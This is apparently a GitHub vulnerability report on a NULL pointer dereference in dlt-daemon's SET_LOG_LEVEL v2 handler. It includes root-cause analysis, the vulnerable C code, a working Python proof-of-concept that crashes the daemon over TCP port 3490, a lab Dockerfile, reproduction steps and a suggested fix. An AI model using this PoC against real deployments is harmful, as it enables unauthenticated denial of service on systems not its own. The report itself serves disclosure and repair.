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[REPORT] NULL Pointer Dereference via apidlen/ctidlen Handling in SET_LOG_LEVEL V2 (src/daemon/dlt_daemon_client.c) #825

@kmm2003

Description

@kmm2003

Summary

In DLT v2 runtime mode (-x 2), dlt-daemon control handler dlt_daemon_control_set_log_level_v2() dereferences pointers that can remain NULL when processing length fields.
The null-dereference path is reachable when apidlen > 0 or ctidlen > 0 with corresponding local pointer misuse.

This is not limited to raw malformed packets; it is also reachable through normal v2 control-flow usage because the vulnerable handler logic itself is incorrect.

In local reproduction, UBSan reported runtime error: load of null pointer of type 'char' at dlt_daemon_client.c:3703, and the daemon crashed (DoS).

Details

Affected component:

  • package: dlt-daemon
  • component: control message processing (SET_LOG_LEVEL v2)
  • files:
  • src/daemon/dlt_daemon_client.c
  • src/shared/dlt_common.c
  • tested daemon runtime mode: -x 2 (DLT v2)
  • default daemon runtime mode without -x: DLT v1
  • tested repository revision: c45bdbe8c45b708955520d63dede1df3c8b5afb7
  • validation date for tested revision: 2026-03-05

Root cause:

  1. Local pointers are initialized as NULL (char *apid = NULL; char *ctid = NULL;).
  2. dlt_set_id_v2(apid, ...) is called with apid == NULL; helper returns early and pointer remains NULL.
  3. Logic dereferences apid[apid_length - 1] when apid_length != 0 and ctid == NULL.

Attack Preconditions

  1. Target daemon is running in DLT v2 mode (-x 2).
  2. The attacker can send TCP control messages to the daemon endpoint (default test setup: 127.0.0.1:3490).
  3. Network path/firewall policy permits access to that endpoint.
  4. No effective authentication/filtering blocks unauthenticated control payloads before this handler.
  5. If the TCP listener is exposed beyond localhost, remote network attackers can trigger DoS.

Vulnerable Code (Exact Code Snippet)

Path: src/daemon/dlt_daemon_client.c:3660

void dlt_daemon_control_set_log_level_v2(int sock,
                                      DltDaemon *daemon,
                                      DltDaemonLocal *daemon_local,
                                      DltMessageV2 *msg,
                                      int verbose)
{
    ...
    char *apid =NULL;
    char *ctid =NULL;
    ...
    apid_length = (int8_t) req.apidlen;
    dlt_set_id_v2(apid, req.apid, req.apidlen);
    ctid_length = (int8_t) req.ctidlen;
    dlt_set_id_v2(ctid, req.ctid, req.ctidlen);

    if ((apid_length != 0) && (apid[apid_length - 1] == '*') && (ctid == NULL)) { /*apid provided having '*' in it and ctid is null*/
        ...
    }
    ...
}

Reference helper behavior:
Path: src/shared/dlt_common.c:414

void dlt_set_id_v2(char *id, const char *text, uint8_t len)
{
    /* check nullpointer */
    if ((id == NULL) || (text == NULL) || (len == 0))
        return;
    ...
}

Full PoC Code

#!/usr/bin/env python3
import os
import socket
import struct
import time

HOST = os.environ.get("DLT_HOST", "127.0.0.1")
PORT = int(os.environ.get("DLT_PORT", "3490"))

DLT_SERVICE_ID_SET_LOG_LEVEL = 0x01
DLT_MSIN_CONTROL_REQUEST = 0x16
HTYP2 = 0x40 | 0x02 | 0x04 | 0x08  # protocol v2 + control + WEID + WACID


def build_control_frame(payload: bytes, apid: bytes = b"APP", ctid: bytes = b"CON", ecid: bytes = b"ECU1") -> bytes:
    ext = bytes([len(ecid)]) + ecid + bytes([len(apid)]) + apid + bytes([len(ctid)]) + ctid
    extra = bytes([DLT_MSIN_CONTROL_REQUEST, 1])
    total_len = 7 + len(extra) + len(ext) + len(payload)
    base = struct.pack("<IBH", HTYP2, 0, total_len)
    return base + extra + ext + payload


def main() -> int:
    # PoC payload for set_log_level_v2:
    # apidlen=1 but daemon keeps local apid pointer NULL, then dereferences apid[0].
    # Note: crash condition is rooted in handler logic and is reachable in normal v2 control paths.
    payload = struct.pack("<I", DLT_SERVICE_ID_SET_LOG_LEVEL)
    payload += b"\x01A"       # apidlen=1, apid='A'
    payload += b"\x00"        # ctidlen=0
    payload += b"\x01"        # log_level=1
    payload += b"remo"         # com[4]

    frame = build_control_frame(payload)

    with socket.create_connection((HOST, PORT), timeout=3) as s:
        s.settimeout(1.0)
        s.sendall(frame)
        # Keep connection open briefly so daemon can parse and process request.
        try:
            s.recv(4096)
        except Exception:
            pass
        time.sleep(1.0)

    print(f"[*] Sent malformed SET_LOG_LEVEL_V2 ({len(frame)} bytes) to {HOST}:{PORT}")
    return 0


if __name__ == "__main__":
    raise SystemExit(main())

Reproduction Docker Image (Full Dockerfile)

FROM debian:bookworm-slim

ENV DEBIAN_FRONTEND=noninteractive

RUN apt-get update && apt-get install -y --no-install-recommends \
    build-essential \
    cmake \
    pkg-config \
    python3 \
    ca-certificates \
    libasan8 \
    libubsan1 \
    libstdc++6 \
    libgcc-s1 \
    netcat-openbsd \
    && rm -rf /var/lib/apt/lists/*

WORKDIR /src
COPY . /src

RUN cmake -S . -B build \
    -DCMAKE_BUILD_TYPE=Debug \
    -DCMAKE_INSTALL_PREFIX=/opt/dlt \
    -DDLT_IPC=UNIX_SOCKET \
    -DDLT_USER_IPC_PATH=/ipc \
    -DWITH_DLT_DEBUGGERS=OFF \
    -DWITH_DLT_SYSTEM=OFF \
    -DWITH_DLT_TESTS=ON \
    -DWITH_DLT_USE_IPv6=OFF \
    -DWITH_EXTENDED_FILTERING=OFF \
    -DWITH_SYSTEMD=OFF \
    -DWITH_SYSTEMD_WATCHDOG=OFF \
    -DWITH_SYSTEMD_JOURNAL=OFF \
    -DCMAKE_C_FLAGS="-fno-omit-frame-pointer -fsanitize=address,undefined" \
    -DCMAKE_CXX_FLAGS="-fno-omit-frame-pointer -fsanitize=address,undefined" \
    -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address,undefined" \
    && cmake --build build -j"$(nproc)" \
    && cmake --install build

WORKDIR /opt/lab
COPY security-lab/lab /opt/lab

ENV ASAN_OPTIONS=abort_on_error=1:detect_leaks=0:symbolize=1:halt_on_error=1
ENV UBSAN_OPTIONS=print_stacktrace=1:halt_on_error=1

CMD ["/bin/bash"]

Reproduction Steps

  1. Build the lab image.
# current directory: security-lab (attachment root)
docker compose -f docker-compose.yml build dlt-lab
  1. Run isolated V2 reproduction.
docker compose -f docker-compose.yml run --rm dlt-lab bash -lc '
set -euo pipefail
daemon_log=/opt/lab/artifacts/V2.single.daemon.log
poc_log=/opt/lab/artifacts/V2.single.poc.log
: > "$daemon_log"
: > "$poc_log"
rm -f /ipc/dlt /ipc/dlt-ctrl.sock /tmp/dlt-ctrl.sock
/opt/lab/run-daemon.sh >"$daemon_log" 2>&1 &
pid=$!
ready=0
for i in $(seq 1 120); do
  if ! kill -0 "$pid" 2>/dev/null; then break; fi
  if [[ -S /ipc/dlt ]] && nc -z 127.0.0.1 3490 >/dev/null 2>&1; then
    ready=1
    break
  fi
  sleep 0.1
done
if [[ "$ready" -ne 1 ]]; then
  kill -TERM "$pid" 2>/dev/null || true
  wait "$pid" 2>/dev/null || true
  exit 2
fi
python3 /opt/lab/pocs/poc_set_log_level_null_deref_v2.py >"$poc_log" 2>&1 || true
sleep 1
kill -TERM "$pid" 2>/dev/null || true
wait "$pid" 2>/dev/null || true
'
  1. Confirm null-dereference signature.
grep -E "runtime error: load of null pointer|dlt_daemon_control_set_log_level_v2" \
  artifacts/V2.single.daemon.log

Trigger Success Evidence (Logs)

PoC send log:
Path: artifacts/V2.single.poc.log

[*] Sent malformed SET_LOG_LEVEL_V2 (34 bytes) to 127.0.0.1:3490

Runtime evidence:
Path: artifacts/V2.single.daemon.log

/src/src/daemon/dlt_daemon_client.c:3703:36: runtime error: load of null pointer of type 'char'
#0 ... in dlt_daemon_control_set_log_level_v2 /src/src/daemon/dlt_daemon_client.c:3703

Impact

  • Vulnerability class: null pointer dereference.
  • Practical impact: unauthenticated daemon crash (DoS) via control channel when DLT v2 mode is enabled.
  • Scope note: deployments left on default DLT v1 mode are not on this v2-specific path.

Suggested Fix

  1. Replace char *apid = NULL; char *ctid = NULL; with fixed local buffers (or allocated buffers) before calling dlt_set_id_v2().
  2. Validate apidlen/ctidlen and guard all dereferences (apid != NULL, ctid != NULL) before index access.
  3. Do not use apid == NULL / ctid == NULL as semantic checks for "ID omitted"; use length-based checks (apidlen == 0, ctidlen == 0) after safe copying.
  4. Add unit/regression tests for both malformed packets and regular dlt_client_send_log_level_v2() API-driven requests.

Attachment

security-lab_v2.zip

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